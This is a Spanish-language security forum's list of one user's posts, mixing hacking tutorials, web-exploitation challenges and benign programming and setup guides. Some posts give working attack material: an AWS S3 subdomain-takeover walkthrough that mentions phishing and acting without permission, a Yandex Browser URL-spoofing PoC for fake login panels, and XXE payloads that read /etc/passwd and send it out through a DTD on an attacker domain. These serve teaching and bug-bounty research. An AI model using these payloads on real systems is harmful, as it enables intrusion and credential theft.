Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Jimeno

#1
Bugs y Exploits / Cómo tomé el control de tu subdominio
Septiembre 12, 2016, 02:23:15 PM
Buenas a todos.

Me gustaría presentaros una técnica para tomar el control de ciertos dominios/subdominios de empresas. Es relativamente antigua, pero creo no haberla visto en blogs de habla hispana (no me echéis a los leones si me equivoco).

Como todos sabéis, la base para encontrar vulnerabilidades es la ENUMERACIÓN. Gracias a ella ampliamos exponencialmente nuestra superficie de ataque. Hay muchísimas herramientas para encontrar subdominios, es algo más que cubierto en los blogs de seguridad informática.

El nombre de la técnica es Subdomain Takeover o Toma de control de subdominio

Una vez elegido el dominio al que atacar (siempre teniendo permiso, por supuesto) podemos encontrarnos con que apunta a instancias de Heroku, Github, Amazon AWS, Sendgrid, etc. Es aquí cuando comienza nuestro ataque.
Hay empresas que crean instancias en dichos servicios y apuntan un subdominio hacia ellas. Tras un tiempo pueden eliminar dichas instancias, pero si se olvidan de eliminar el subdominio o hacer que no apunte hacia ellas podremos tomar el control del mismo.

En este caso en concreto la situación es la siguiente:

  • La empresa crea una instancia de almacenamiento (S3) en Amazon AWS
  • Apuntan su subdominio No tienes permitido ver los links. Registrarse o Entrar a mi cuenta hacia dicha instancia
  • Tras un tiempo eliminan la instancia PERO SE OLVIDAN DE CAMBIAR EL SUBDOMINIO

(en las imágenes se muestra cómo el subdominio sigue apuntando hacia la instancia ya eliminada)




Gracias a ello nosotros podemos hacer que dicho subdominio apunte hacia una instancia nuestra. En ella podemos almacenar simplemente algo para vacilar, spam de una empresa competidora, un phising... las opciones son muchas y cada cual más jugosa.

En el caso de AWS lo que deberemos hacer es conectarnos a nuestra cuenta (mejor a una anónima si no lo hacéis con permiso) y crear una nueva instancia con el nombre del subdominio (la parte de la izquierda en ANSWER SECTION en la imagen anterior, en mi caso No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, es decir, todo lo anterior a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta).

Tras crear la instancia subiremos nuestro archivo (en mi caso un index.html en el que había <h1>pwned</h1>) a la misma y lo marcaremos como público.

(en la imagen se aprecia el resultado)


El resultado es que el subdominio apunta a nuestra instancia y tenemos control total del mismo:

(imagen)




Espero que os sirva de utilidad el post.


Más información y los primeros posts que leí sobre esta técnica:
#2
Buenas a todos.

Supongo que esteréis familiarizados ya con esta vulnerabilidad. En caso de que no lo estéis, se trata de conseguir que el navegador muestre una URL legítima (por ejemplo el login de Gmail) pero que realmente el usuario esté visitando el servidor del atacante o uno fraudulento.
Se puede aprovechar para muchos objetivos, a mí el principal que se me ocurre es mostrar un panel de login clonando el login de la página víctima. La víctima verá la URL legítima, pero realmente estará entregando sus credenciales al atacante.

Comenzamos por el navegador de Yandex (empresa que tiene Bug Bounty):

CitarEn el caso de Yandex ambas vulnerabilidades fueron reportadas y consideradas como duplicadas, es decir, otro investigador las ha reportado antes que yo. Si eres esa persona y deseas que elimine este post, contacta conmigo a través de Twitter y lo haré inmediatamente (@migueljimeno96).

Yandex Browser para Windows
(reporte enviado el 19 de Julio de 2016, 21:36)

Los pasos a seguir para falsificar la URL una vez el usuario visita la página fraudulenta son los siguientes:

  • Una vez la página ha cargado, se llama a una función de JS (en mi caso se llama a dicha función al pulsar un botón).
  • La función abre una nueva ventana utilizando No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Dicha ventana cargará la URL que deseamos falsificar.
  • Utilizaremos entonces document.write sobre dicha ventana para colocar nuestro contenido fraudulento (panel de login por ejemplo).

De forma que el código será el siguiente:
Código: html5

<script>
function spoof() {
        nWindow = window.open('https:/www.google.com', '_t1');
        nWindow.document.write('<pre>Here we could place a phising login panel</pre>');
}
</script>
<input type="button" onclick="spoof()" value="PoC!">
The page is being hosted in my server


De tal forma que al pulsar sobre el botón en el navegador ocurría lo siguiente:




Tras intercambiar unos cuantos correos con el equipo de seguridad de Yandex la respuesta final fue la siguiente:


CitarHello!

Unfortunately the issue had been reported by another researcher before we got your report. We've been working on the fix for several days and it will be rolled out shortly.

Have a nice day!

Vasiliy Kuznetsov Yandex Security Team


Yandex Browser para Android
(reporte enviado el 19 de Julio de 2016, 18:41)

Los pasos a seguir fueron los mismos, de forma que la víctima veía lo siguiente:



Tras unos pocos días recibí los siguientes correos del equipo de seguridad:

Citar
Hello, Miguel Angel!
As for Android, I'll check it shortly because it look similar to one report we got the other day. I'll let you know in a few days.
Have a great weekend!

Citar
Hello, Miguel Angel!
I'm sorry, but the same bug had been reported by another researcher before we'd got your report. That's why we can't offer you a reward.

Enlace al writeup original: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos y espero que os haya gustado!
#3
Buenas.

Os dejo un pequeño reto de explotación web.
Objetivo: enviar por MP a @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta el contenido del fichero /banana/secret.lst
Podéis leerlo y dar por finalizado el reto o continuar con la explotación, es probable que podáis conseguir ser root :)
URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Un saludo.
#4
Buenas a todos.

Supongo que todos conoceréis Github y Git. Me gustaría presentaros un software que sirve para montar repositorios en local. Así podremos tener tantos repositorios privados y organizaciones como queramos de forma gratuita.

El software en cuestión es una especie de Gitlab creado en Golang, su nombre es Gogs, de sus siglas Go Git Service.


Podéis descargarlo desde su página oficial de forma gratuita No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
Por supuesto es de código abierto: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Su instalación y puesta en marcha es bastante simple, yo lo puse a correr en una Raspberry de forma correcta siguiendo los siguientes pasos:


  • Instalación de dependencias:
   - MySQL:
Código: bash
apt-get install mysql-server

   - Git:
Código: bash
apt-get install git

   - Golang:
Código: bash

hg clone -u default https://code.google.com/p/go $HOME/go
cd ~/go/src/
./all.bash

      - editáis vuestro .bashrc y añadiís el path de Go:
Código: bash
export PATH=$PATH:$HOME/go/bin

        y luego recargáis el .bashrc con
Código: bash
source .bashrc

        Para comprobar que lo tenéis instalado lanzad go version


  • Una vez tengáis instaladas todas las dependencias yo os recomendaría instalar una más para poder dejar el servicio corriendo en el sistema sin necesidad de mantener una sesión de SSH abierta en él. En mi caso utilizo nohup
  • Creáis la Base de Datos necesaria en mysql:
Código: mysql
create database gogs;




  • Vais a la ruta donde tengáis Gogs, en mi caso ~/gogs y lo lanzáis de la siguiente forma:
Código: bash
nohup ./gogs web &

       - De esta forma lo podremos dejar corriendo aunque hayamos cerrado la conexión SSH.


  • Desde otro equipo o la Pi misma accedéis al servicio en la siguiente URL:
       - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


  • Seguís los pasos para la instalación y la rellenáis los campos de configuración y credenciales a vuestro gusto.
Si todo salió bien podréis crear repositorios y organizaciones tal y como lo hacéis en Github o Gitlab.



Como podéis ver consume muy pocos recursos y es algo bastante útil.



¡Saludos!
#5
Buenas a todos.

Os traigo un pequeño reto de Cross Site Scripting reflejado.
NORMAS: descritas en la URL del reto
Envía tu solución por MP y postea un screenshot TAPANDO el payload
URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
NOTA: está claro que no es un caso muy realista, pero creo que es entretenido y uno de los trucos para llegar a la solución es algo que se debe conocer.

LA SOLUCIÓN ESPERADA FUNCIONA EN VARIOS NAVEGADORES
Se guardarán logs.

GANADORES:

  • 0:1
  • Arthusu - solución esperada
  • WhiZ - solución esperada

Saludos y suerte.
#6
Buenas a todos.

Como muchos de vosotros sabréis habitualmente se utilizan herramientas denominadas "fuzzers" para encontrar diferentes crashes en bibliotecas y después analizarlos en busca de uno explotable.
Me gustaría presentaros y hacer una pequeña demo con uno de los mejores fuzzers conocidos: American Fuzzy Lop (+ info y descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)

Una vez instaladas las dependencias necesarias y AFL podemos pasar a fuzzear la biblioteca en cuestión.
Para ello necesitaremos (aunque no es imprescindible) el código fuente de la misma. En caso de no tenerlo deberemos hacer uso del flag "-n", lo que hará que seguramente no encontremos crashes o que tardemos demasiado porque vamos a ciegas.

Para este post yo usaré bmp2tiff, que es parte de libtiff. Para facilitar las cosas voy a utilizar una de las versiones más viejas, en concreto la versión 3.7.0 (descarga de cualquier versión antigua en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)


Tras descomprimir el paquete en la ruta que queramos debemos indicar al compilador que usaremos el gcc y el g++ pertenecientes a American Fuzzy Lop en vez de los habituales y preparar la compilación.
Código: bash
export CC=afl-gcc
export CXX=afl-g++
./configure --disable-shared


Limpiamos compilaciones anteriores y compilamos con los nuevos gcc y g++:
Código: bash
make clean
make


Como siguiente paso comprobamos que se haya instalado correctamente la biblioteca:
Código: bash
./tools/bmp2tiff


¡Bien! Está instalada correctamente.

Ahora deberemos conseguir varias entradas (cuantas más y más diversas mejor). En el caso de este tutorial bajaremos unas 57 imágenes con extensión .bmp y las meteremos en el directorio input/
Ahora dejaremos que AFL elija las entradas más apropiadas:
Código: bash
afl-cmin -i input -o input_final -- /rutabiblioteca/bmp2tiff @@ /dev/null 




Nuestra entrada quedará ahora reducida a menos archivos.
Como siguiente paso comenzaremos el proceso de fuzzing mediante afl-fuzz:
Código: bash
afl-fuzz -i input_final -o output -- /rutabiblioteca/bmp2tiff @@ /dev/null 


Comenzará así el proceso de fuzzing, que, naturalmente, depende de las capacidades de nuestro equipo y del buen desarrollo del ejecutable que queramos fuzzear.
Una vez obtengamos unos pocos crashes diferentes (unique) podremos utilizar variaciones de los mismos para obtener otros crashes nuevos y completamente diferentes.

Código: bash
afl-fuzz -i output/crashes/ -o output_final -C /rutabiblioteca/bmp2tiff @@ /dev/null


Tras un determinado tiempo comenzaremos a obtener crashes (o no).


Nota: si no especificamos otra cosa se utilizan 50 MB para cada test durante el fuzzeo.


Ahora deberemos analizar cada crash para comprobar si es o no explotable, pero eso queda para un futuro post (:

[+ info] ---> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
[+ info] ---> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
[+ info] ---> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


¡Saludos!



#7
Buenas.
Tras varios meses viendo reportes de este tipo de vulnerabilidad a grandes sitios se me hace raro no ver una guía sobre ello en español, por ello estoy creando este post.
Siendo una de las vulnerabilidades más extendidas se ha ido haciendo famosa la frase "Is XXE the new SQLi?", en mi opinión lo es.

¿Qué es XXE?
Es un ataque contra una aplicación que interpreta entradas XML. El ataque es posible cuando la forma de interpretar el XML permite incluir entidades externas debido a su mala configuración. Puede llevar a lectura de archivos locales, descubrimiento y mapeo de red interna, denegaciones de servicio, etc.

¿Es XXE una vulnerabilidad extendida?
Sí. En los últimos meses se han visto reportes a Yahoo, eBay, Google, Shopify y muchas más empresas "gigantes".


Puntos de detección
Suele ser común encontrarla en los siguientes Content-Types: text/xml, application/xml.
Aunque también puede darse al parsear un documento Word (son muchos archivos .xml) unidos y comprimidos o en JSON que luego se parsea en forma de XML.


¿Cómo se explota XXE?
Se trata de malformar las peticiones con XML de forma que añadamos funcionalidades al intérprete de XML como leer un archivo local y enviar su contenido a un servidor externo (/etc/passwd).

Por ejemplo, una petición legítima estaría formada de la siguiente manera:
Código: xml

<forgot><username>admin</username></forgot>


Con las siguientes cabeceras:

Código: php
POST /forgotpw HTTP/1.1
Host: testhtml5.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://PAGINAVULNERABLE.COM
Content-Length: 43
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache


Nuestro objetivo para comprobar si es vulnerable es incluir nuestras propias etiquetas XML, como por ejemplo:
Código: php

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE etiqueta [ 
  <!ELEMENT etiqueta ANY >
  <!ENTITY entidad SYSTEM "file:///etc/passwd" >]><etiqueta>&entidad;</etiqueta>


De esta forma podremos leer cualquier archivo para el que el usuario que controla la aplicación tenga acceso, llamar a cualquier binario (ls, ping, ifconfig, nmap, rm, touch.... hay infinitas posibilidades), llamar a diferentes protocolos, como por ejemplo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ssh://, etc.

Explotación práctica (demo)
Para realizar la demo he elegido una aplicación web que es vulnerable por diseño: bWAPP


  • bWAPP
    Al acceder a la ruta vulnerable http://URL/bWAPP/xxe-1.php nos encontramos la siguiente aplicación web:


    Si llevamos a cabo la acción "deseada" por la web obtenemos una petición como la siguiente:

    Si queremos comprobar si es vulnerable trataremos de introducir una entidad externa y ver si nos devuelve un error o la procesa. Si hay error será que no es vulnerable, si por el contrario la procesa podremos seguir adelante con la explotación.
    Para esta demo solicitaré a la aplicación el fichero /etc/passwd mediante entidades XML. Modificaré el contenido de la petición para añadirlo, quedando así:
Código: php

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Header [ <!ENTITY valor SYSTEM "///etc/passwd"> ]>
<reset><login>&valor;</login><secret>Any bugs?</secret></reset>


Si procesamos la petición veremos que hemos tenido éxito y que hemos obtenido el contenido del fichero:


Ahora solo tendríamos que extender la explotación como quisiéramos, ya sea leyendo más archivos hasta obtener credenciales de acceso, escribiendo en archivos, llamando a protocolos, provocando un DoS al servidor.... sería dar rienda suelta a la imaginación.


Una de las opciones más usadas es solicitar al servidor un archivo como /etc/passwd y que envíe su contenido a un servidor en el que nosotros tengamos control de los logs o solicitar que se conecte a un .dtd que controlemos en nuestro servidor y que sea él quien le pida el contenido del archivo que deseamos leer.

Este podría ser nuestro DTD-PART
Código: php

<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///"%three;"'>">


Y este el payload que enviamos a la aplicación:
Código: php

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ 
  <!ENTITY % one SYSTEM "http://DOMINIO-ATACANTE.COM/dtd-part" >
  %one;
  %two;
  %four;
]>



Saludos y hasta la próxima.
#8
Buenas.

Como todos sabéis Sublime Text es uno de los editores de código más usados en el mundo debido a su versatilidad, variedad de plugins y a que es multiplataforma y gratuito. Todos hemos añadido plugins o modificado el tema de nuestro Sublime Text, eso es algo de lo que no vengo a hablar. Pocas personas hemos decidido modificar las "entrañas" de nuestro querido IDE, y, la verdad, es algo que hace que programemos más a gusto.

Hoy quiero centrarme en el siguiente archivo: Preferences.sublime-settings
Este archivo indica la configuración que utilizará nuestro IDE, es donde podemos indicarle múltiples cosas como:

  • Fuente por defecto
  • Tema por defecto
  • Agregar línea en blanco al final de todos los archivos
  • Resaltar la línea en la que se encuentra el cursor
  • Paquetes a ignorar
  • Mostrar o no las tabulaciones y espacios (una especie de placeholder)
  • Márgenes arriba y abajo
  • Velocidad de scroll
  • Mostrar un recuadro en el mapa de texto
  • Y un largo etcétera

El archivo se encuentra en la siguiente ruta en Windows: C:\Users\TUUSUARIO\AppData\Roaming\Sublime Text 2\Packages\User\Preferences.sublime-settings


La estructura del archivo está creada en JSON. Por ejemplo:
Código: php

{
        "font_face": "Source Code Pro",
"font_size": 11
}




Si queréis ir a la documentación oficial de ese archivo de configuración lo podéis hacer pulsando No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
Todo es ponerse a modificar los valores e ir probando si os gusta o no. Hay cientos de valores que podéis modificar.

AVISO: no podéis indicar una fuente o una configuración de color que no tengáis instaladas.

Os dejo un ejemplo de mi configuración actual y cómo se ve:
Código: php

{
"bold_folder_labels": true,
"color_scheme": "Packages/Theme - Brogrammer/brogrammer.tmTheme",
"draw_indent_guides": true,
"caret_style": "phase",
// "draw_white_space": "all", // dibuja una línea en los espacios en blanco previos a texto
"show_encoding": true,
    "reveal-on-activate": true,
    "wide_caret": true,

"font_face": "Source Code Pro",
"font_size": 11,
"ensure_newline_at_eof_on_save": true, // añade una línea al final de todos los archivos
"draw_minimap_border": true, // marca en el mapa de texto la sección visualizada
"highlight_line": true, // resalta la línea en la que está el cursor
"ignored_packages":
[
"Vintage"
],
"trim_trailing_white_space_on_save": true
}




Vista:


Y aquí tenéis otros archivos que he encontrado que os pueden servir como guía para crear el vuestro:
Código: php

{
"auto_complete_commit_on_tab": true,
"bold_folder_labels": true,
"color_scheme": "Packages/Color Scheme - Default/Twilight.tmTheme",
"ensure_newline_at_eof_on_save": true,
"file_exclude_patterns":
[
".DS_Store",
".tags*",
"*.pyc",
"*.pyo",
"*.exe",
"*.dll",
"*.obj",
"*.o",
"*.a",
"*.lib",
"*.log",
"*.so",
"*.dylib",
"*.ncb",
"*.sdf",
"*.suo",
"*.pdb",
"*.idb",
"*.class",
"*.psd",
"*.db",
"*.pdf"
],
"folder_exclude_patterns":
[
"data",
".zeus.sock",
".git",
".svn",
".hg",
"CVS",
".sass-cache",
".bundle",
"bundle",
".rbx",
"script",
"tmp"
],
"font_face": "Inconsolata-dz",
"font_size": 21.0,
"highlight_line": true,
"highlight_modified_tabs": true,
"ignored_packages":
[
"Vintage"
],
"line_padding_bottom": 0.5,
"line_padding_top": 0.5,
"new_window_settings":
{
"show_minimap": false
},
"rulers":
[
80
],
"save_on_focus_lost": true,
"tab_size": 2,
"theme": "Soda Light.sublime-theme",
"translate_tabs_to_spaces": true,
"trim_trailing_white_space_on_save": true
}


Código: php

{
    "auto_complete_triggers":
    [
        {
            "characters": "<",
            "selector": "text.html"
        },
        {
            "characters": "/",
            "selector": "string.quoted.double.html,string.quoted.single.html, source.css"
        }
    ],
    "color_scheme": "Packages/theme brogrammer/brogrammer.tmTheme",
    "font_size": 13,
    "ignored_packages":
    [
        "Python 3",
        "Vintage",
        "Better CoffeeScript"
    ],
    "file_exclude_patterns":
    [
        ".DS_Store",
        "*.lib",
        "*.log"
    ],
    "folder_exclude_patterns":
    [
        ".git",
        ".bundle",
        ".sass-cache",
        ".svn",
        ".hg"
    ],
    "reveal-on-activate": true,
    "show_encoding": true,
    "tab_size": 4,
    "translate_spaces_to_tabs": true,
    "highlight_line": true,
    "highlight_modified_tabs": true,
    "scroll_past_end": true,
    "scroll_speed": 2,
    "close_windows_when_empty": true,
    "use_simple_full_screen": true,
    "wide_caret": true,
    "word_wrap": true,
    "show_full_path": true,
    "remember_open_files": true,
    "remember_open_folders": true,
    "match_brackets": true,
    "match_brackets_angle": true,
    "match_brackets_braces": true,
    "match_brackets_content": true,
    "match_brackets_square": true,
    "draw_indent_guides": true,
    "draw_white_space": "selection",
    "bold_folder_labels": true
}



Código: php

{
"bold_folder_labels": true,
"color_scheme": "Packages/Tomorrow Night Color Scheme/Tomorrow-Night-Eighties.tmTheme",
"detect_indentation": false,
"draw_minimap_border": true,
"draw_white_space": "all",
"ensure_newline_at_eof_on_save": true,
"fade_fold_buttons": false,
"find_selected_text": true,
"font_face": "Inconsolata",
"font_size": 16.0,
"highlight_line": true,
"ignored_packages":
[
"Vintage"
],
"line_padding_bottom": 1,
"line_padding_top": 1,
"margin": -1,
"open_files_in_new_window": false,
"rulers":
[
120
],
"shift_tab_unindent": true,
"tab_size": 4,
"theme": "Soda Dark.sublime-theme",
"trim_trailing_white_space_on_save": true,
"word_separators": "./\\()\"'-:,.;<>~!@#$%^&*|+=[]{}`~?_",
"word_wrap": true,
"wrap_width": 120
}



Como veis hay múltiples parámetros que se pueden editar para dejar Sublime Text tanto con el tema como con la fuente y aspecto visual perfectos para nosotros. Si a eso le añadimos los miles de plugins disponibles tenemos uno de los mejores IDE del mundo.


Saludos.
#9
Os dejo un motivo para odiar PHP con toda vuestra alma:



Código:
Código: php
<?php
if ("0" == "0e830400451993494058024219903391") {
echo "fuck";
}
?>



EDITO:
Explicación:
PHP castea todo lo que parece un número a float y luego lo compara, es decir, "1e3" == "1000" devolvería true.
Recomiendan usar strcmp() para este tipo de comparaciones.



Saludos.
#10
Buenas a todos.

Llevaba un tiempo viendo que cada día más gente jugaba a esta aplicación con sus amigos y hoy me he planteado vencer siempre en ella.
Aquí os dejo los resultados:

Link a la APP: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

El sistema de validación de respuestas se compone de peticiones compuestas en JSON a una API. Por ello decidí capturar el tráfico y ver su estructura.
Se envía el ID de pregunta, la categoría, la respuesta elegida y una serie de parámetros más, por lo que ya imaginaréis por dónde van los tiros.

Capturamos el tráfico con Burp, respondemos al azar, vemos la respuesta acertada tras nuestro error y modificamos la petición para que la contenga, tan simple como eso.

Aquí tenéis el vídeo de PoC:
[vimeo][/vimeo]

Por tanto nuestra estrategia será la siguiente:

  • Retar a nuestro adversario o elegir una partida aleatoria.
  • Esperar a nuestro turno
  • Activar nuestro Proxy (en mi caso Burp)
  • Responder al AZAR y FIJARNOS EN LA RESPUESTA MARCADA COMO CORRECTA. DATO: los índices van [0, 1, 2, 3] de arriba a abajo
  • Modificar la petición y poner el índice correcto.
  • REPEAT, FUN AND PROFIT!


Espero que os sea de utilidad.
Saludos.
#11
Wargames y retos / Underc0de Weekend #5
Enero 22, 2015, 02:16:52 PM
Buenas a todos.
Aquí os traigo el reto semanal.


Titulo: XSS - Script context

Objetivo: lograr XSS en un navegador actualizado sin modificar el código.

Reglas:

  • NO UTILIZAR HERRAMIENTAS AUTOMATIZADAS
  • payload válido para la última versión de Chrome, Firefox, Ópera o IE.
Consejos: Firefox o cualquier navegador versión no estable (Nightly, versiones en desarrollo de Chrome, etc) servirán de ayuda.
Solución esperada: funcional en la última versión de Firefox. Longitud: 18.

URL del reto: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

A entregar: captura mostrando el alert y tapando el payload, MP con el payload y explicación de por qué funciona.
En caso de no haber soluciones pasada una semana se publicará un pequeño solucionario en esta misma zona del foro.


POSIBLES GANADORES:

  • WhiZ - Solución semejante a la esperada, FF only
  • Arthusu - Solución semejante a la esperada, FF only (PD: también pasaste este reto, ¡enhorabuena!)

Saludos y suerte.
#12
C / C++ / Introducción a THREADS en C
Enero 19, 2015, 07:27:17 PM
Buenas.
Se trata de una introducción al uso de threads con C. El código que se utilizará para explicarlos será un contador hasta 1.000.000.

Antes de nada debemos preguntarnos una cosa:
¿QUÉ ES UN THREAD?
En sistemas operativos, un hilo de ejecución, hebra o subproceso es la unidad de procesamiento más pequeña que puede ser planificada por un sistema operativo. (WIKIPEDIA)

¿QUÉ VENTAJAS NOS OFRECEN LOS THREADS?

  • Tardamos menos en generar un nuevo thread dentro de un proceso que generar un proceso nuevo.
  • Tardamos menos en finalizar un thread que un proceso.
  • Es más rápido saltar entre threads que hacerlo entre procesos.

Para llevar a cabo esta tarea usaremos la biblioteca pthread.h en nuestro código (quien quiera leer su documentación completa puede hacerlo aquí: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)

Veamos el código de ejemplo que crearemos:
Código: c
/*
* Autor: Jimeno
* Uso de threads en C.
*      Compilar: clear && gcc -Wall -Wextra -o a.out -O4 -pthread example.c && ./a.out
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/types.h>

#define THREADS 2
#define MAX   1000000

struct tdata {
int tid;
};

unsigned long counter = 0;

void *go(void *pointer) {
unsigned long i;
unsigned long max = MAX/THREADS;
int tid = ((struct tdata *)pointer)->tid;
for (i = 0; i < max; i++) {
counter += 1;
}
printf("Counter number %d - value: %lu\n", tid, counter);
pthread_exit(NULL);
        return NULL;
}

int main(void) {
int creator, i;
pthread_t threads[THREADS];
struct tdata id[THREADS];

for (i = 0; i < THREADS; i++) {
id[i].tid = i;
creator = pthread_create(&threads[i], NULL, go, (void *)&id[i]);
if (creator != 0) {
printf("ERROR creating thread number %d\n", i);
exit(-1);
}
printf("\n");
}
for (i = 0; i < THREADS; i++) {
pthread_join(threads[i], NULL);
usleep(1);
printf("main is running...\n");
}

printf("\nFinal value: %lu\nExpected value: %d\n", counter, MAX);
return 0;
}


OUTPUT:

Vemos que identificaremos nuestros threads por su ID (tid). Por tanto si el objetivo que nos hemos marcado es crear un contador hasta un millón y hemos dividido nuestro código en dos threads, veremos que cada thread alcanza el valor de 500.000. En la segunda línea de la función go hacemos esta tarea, creamos un valor máximo para cada thread.


Estoy de exámenes finales y no me da tiempo a escribir más hoy, en cuanto pueda saco la segunda parte.
Saludos.
#13
Off Topic / Vídeos Cybercamp 2014
Diciembre 28, 2014, 03:53:08 PM
Buenas a todos. Como muchos de vosotros sabréis los días 5, 6 y 7 de Diciembre se celebró en Madrid la primera edición del congreso de seguridad informática Cybercamp.
Esta semana los organizadores (INCIBE) han subido a YouTube los vídeos de las charlas y conferencias impartidas. Os dejo unos cuantos vídeos y el enlace al canal en el que están subidas.
Son realmente recomendables ya que pudimos disrutar de charlas de auditores de Stack Overflow, gente como los creadores de Flu Project, Security by Default, etc. Incluso yo mismo impartí una charla ;)

Canal: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Algunas charlas:
Raúl Siles:

Pablo González:

Alejandro Ramos:

Marc Rivero:

Jimeno y Pr0ph3t:


Espero que disfrutéis de las charlas y aprendáis como yo lo hice durante el evento.
Saludos.
#14
Buenas.
Sé que es una duda un poco estúpida sabiendo la cantidad de guías que hay al buscar en Google, pero en varias he encontrado pasos que directamente se contradicen, por ello quiero publicar el tema.
El objetivo es instalar Cyanogenmod en su última versión en mi Nexus 4.
Los datos del teléfono: NO está rooteado, el sistema que tiene instalado es Android 4.4.4 sin modificar, NO tiene bootloader abierto ni nada, ahora mismo está de fábrica pero con 4.4.4


Jriasias d hante vraso hamijos,
Un saludo.
#15
C / C++ / [C] Texto a ROT13
Octubre 15, 2014, 12:38:31 PM
¡Buenas!
Traigo un corto código en C para cifrar la entrada de texto a ROT13 (aunque se puede cambiar el 13 en el código para modificar el cifrado).
Era un ejercicio de clase, y al revisar la sección vi el código de Rolo en C++, pero no había en C, así que lo he codeado (de forma bastante cutre, pero funciona).
Código: c
#include <stdio.h>
#define MOV 13
char encode(char c){
if(c >= 'A' && c <= 'Z' || c>= 'a' && c <= 'z'){
if(c < 'A'){
return c;
}
else if(c < 'A' + MOV){
c += MOV;
}
else if(c <= 'Z'){
c -= MOV;
}
else if(c < 'a' + MOV){
c += MOV;
}
else if(c >= 'a' + MOV){
c -= MOV;
return c;
}
}
else{
return c;
}

}
main(){
printf("Introduce texto y pulsa ENTER para cifrarlo:\n");
  int c;
  while((c = getchar()) != EOF){
    c = encode(c);
    putchar(c);
  }
}


Si queréis modificar el cifrado cambiad el valor de MOV en el define.


Un saludo.
#16
Wargames y retos / Reto Oficial XSS [Dificultad: difícil]
Septiembre 24, 2014, 04:16:18 PM
Buenas, este es el último de la serie de retos que programé.
Como en todos los demás el filtro está sacado de una empresa real y modificado para complicar un poco la labor.
En este caso NO hay PHP, todo se filtra a través de una función en Javascript, por lo que no hay magia del lado del servidor, conoceréis el filtro y cómo funciona, así que no tenéis excusas.
Las normas:
1- No usar herramientas automatizadas.
2- El payload debe ser funcional para al menos dos navegadores actuales (IE, Firefox, Chrome, Ópera o Safari).
3- Para ser ganador del reto debes postear un screenshot en el navegador tapando el payload y enviarme el mismo por MP para validarlo.

Absolutamente todo lo que ocurre en el reto está preparado para que así sea.

URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Ganadores:
1- Blackdrake
2- Kid_goth
3- WhiZ y fermino



Saludos y a XSSear!
#17
Ha sido descubiertas varias vulnerabilidades críticas en el gestor de paquetes de alto nivel APT (Advanced Package Tool) el cual utilizan Debian y Ubuntu, además de una impresionante cantidad de distribuciones derivadas.


Estas vulnerabilidades que se corrigen con una simple actualización, implican a la verificación de la integridad de las descargas.

Se descubrió que APT no invalidaba correctamente los datos no autenticados, problemas con la suma de verificación cuando se usa la opción Acquire::GzipIndexes, junto con una validación erronea de los códigos 304 y una incorrecta certificación de los paquetes binarios descargados mediante la opción apt-get download.

Tecnicismos aparte... la explotación de estas vulnerabilidades (de lo cual no hay ninguna constancia por ahora) podría dar lugar a ataques man-in-the-middle y descargar falsos paquetes manipulados por terceros.

Pero como siempre una de las ventajas del software libre es la velocidad a la hora de corregir cualquier tipo de vulnerabilidad y desde hace 24-48 horas ya existen nuevas versiones de APT disponibles:

-Ubuntu:

Ubuntu 14.04 LTS: apt 1.0.1ubuntu2.3

Ubuntu 12.04 LTS: apt 0.8.16~exp12ubuntu10.19

Ubuntu 10.04 LTS: apt 0.7.25.3ubuntu9.16

-Debian:

Debian Stable (Wheezy): apt 0.9.7.9+deb7u3

Debian Sid: apt 1.0.9

No es preciso hacer nada especial para instalar estas actualizaciones simplemente ejecutar desde la terminal:

Código: c
sudo apt-get update

sudo apt-get upgrade


Y ya estamos al día con todos los paquetes de nuestra distro actualizados (paradójicamente utilizando APT.

Una vez actualizado (o antes) podéis ver la versión que estáis utilizando de APT ejecutando

Código: c
aptitude show apt


Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#18
Wargames y retos / Reto XSS [dificultad: el contexto]
Septiembre 15, 2014, 02:59:14 PM
¡Buenas a todos!
Se trata de un reto de XSS, no se filtra casi nada, la dificultad única está en el contexto.
URL: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Objetivo: ejecutar alert(0) en el servidor.
Normas: no fuzzear ni utilizar herramientas automatizadas para no consumir el ancho de banda.
Para pasar el reto deben postear un screenshot tapando el payload y enviarme un MP con su solución, OJO: debe ser explotable en las últimas versiones de Chrome, Firefox e IE en sus configuraciones por defecto.

El reto se me ocurrió durante un Bug Bounty que utilizaba un filtro parecido al que yo he implementado

PD: absolutamente todo lo que ocurre está previsto, también los posibles errores 404.

Ganadores:
